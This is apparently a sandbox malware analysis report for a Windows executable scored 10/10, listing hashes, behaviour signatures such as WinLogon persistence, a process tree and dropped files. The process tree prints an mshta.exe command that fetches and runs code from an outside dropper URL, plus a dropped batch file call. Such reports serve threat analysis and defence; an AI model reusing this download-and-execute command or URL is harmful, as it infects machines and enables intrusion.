Overview

overview

10

Static

static

3

712805a785...18.exe

windows7-x64

712805a785...18.exe

windows10-2004-x64

Analysis

  • max time kernel
    10s
  • max time network
    11s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240426-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
  • submitted
    25/05/2024, 06:43

Sharing

Copy URL Twitter E-mail

Errors

Reason
Machine shutdown
Report Analysis Logs

General

  • Target

    712805a7852cda5ae9a433c13aab17c1_JaffaCakes118.exe

  • Size

    3.1MB

  • MD5

    712805a7852cda5ae9a433c13aab17c1

  • SHA1

    3010f96ee9e545f01903ab1a117a1c705021ffff

  • SHA256

    7d99b67304773d0c3c52a472c7469333fcfab81bcbfb5013ac5c7b826342e37a

  • SHA512

    910a699fe19a8b2847a52735d41eeca03ce9b118aff0f3fa369006c18553f1991c676ad24ee44fe8a56ebb8ac354aba3f1a080665f2466faff83224655883128

  • SSDEEP

    24576:ruRcKvWLVblQVxgfm0pB6Umenrp6+QzoTvbrTF5NfGWicfi:DkperpEIPTF5NfGW

Score
10/10
persistence

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://rtopotr.com/inst.php?id=02909

Signatures

  • Modifies WinLogon for persistence 2 TTPs 1 IoCs
    persistence
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 15 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\712805a7852cda5ae9a433c13aab17c1_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\712805a7852cda5ae9a433c13aab17c1_JaffaCakes118.exe"
    1⤵
    • Modifies WinLogon for persistence
    • Checks computer location settings
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1312
    • C:\Windows\SysWOW64\mshta.exe
      "C:\Windows\System32\mshta.exe" http://rtopotr.com/inst.php?id=02909
      2⤵
        PID:776
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\agtyjkj.bat" "
        2⤵
          PID:4016
      • C:\Windows\system32\LogonUI.exe
        "LogonUI.exe" /flags:0x4 /state0:0xa394a055 /state1:0x41c64e6d
        1⤵
        • Modifies data under HKEY_USERS
        • Suspicious use of SetWindowsHookEx
        PID:5108

      Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            • C:\Users\Admin\AppData\Roaming\agtyjkj.bat
              Filesize

              262B

              MD5

              4a5ea9ac9c4bf110120b083ae31b9448

              SHA1

              2b3aa5f945b339cc0a6eb05adde73abd23f94fd4

              SHA256

              c8f91597a887045fc834d90e957f55194cb858b6ef4cebd65f9889fd73e37792

              SHA512

              5fd4e81407a953dbdeea9b8d6b608f3664078ec99332b5c74ae083355d0a9def160461a06ada13c0befe26b872066ad66f47736633ed5d957505be9e00db8056

              Download Submit

            • memory/1312-0-0x0000000000A40000-0x0000000000A41000-memory.dmp

              Filesize

              4KB

              Download

            • memory/1312-6-0x0000000000400000-0x0000000000726000-memory.dmp

              Filesize

              3.1MB

              Download